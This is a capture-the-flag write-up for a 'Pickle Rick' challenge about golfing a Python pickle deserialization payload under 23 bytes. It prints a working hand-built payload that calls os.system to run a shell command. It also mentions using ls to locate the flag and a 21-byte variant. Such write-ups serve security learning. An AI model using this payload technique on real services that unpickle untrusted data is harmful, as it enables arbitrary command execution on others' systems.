pickle-rick

Pickle Rick

Category: misc

Author: Rok0'sBasilisk

Description

It's Pickle Riiiick! Morty *burp* look at me! Not only am I a pickle, I can play golf at the same time!

Solution

Reveal Spoiler

The first step is to inspect the code of the challenge using the !code command. Through code review it is obvious that this is a pickle deserialization challenge, however there is a single requirement to get a working exploit. The pickled payload must be at maximum 23 bytes.

This is a classic golf challenge with the aim of making the pickled payload as compact as possible.

It is critical that particiapts craft the pickled object manually rather than relying on the pickle library, so that unnecessary bytes are avoided.

Here is a working exploit:

import base64

from pickle import PROTO, SHORT_BINUNICODE, GLOBAL, TUPLE1, REDUCE, STOP

golf_payload = \
    PROTO + b"\x04" + \
    GLOBAL + b"os\nsystem\n" + \
    SHORT_BINUNICODE + b"\x05" + b". /f*" + \
    TUPLE1 + \
    REDUCE + \
    STOP

print(base64.b64encode(golf_payload).decode("utf-8"))

Note that you need to use ls initially, to observe that the flag is in the root dir.

**UPDATE: ** Apparently the protocol line is not required! So this can be reduced to 21 bytes. That's why Pickle Rick II was created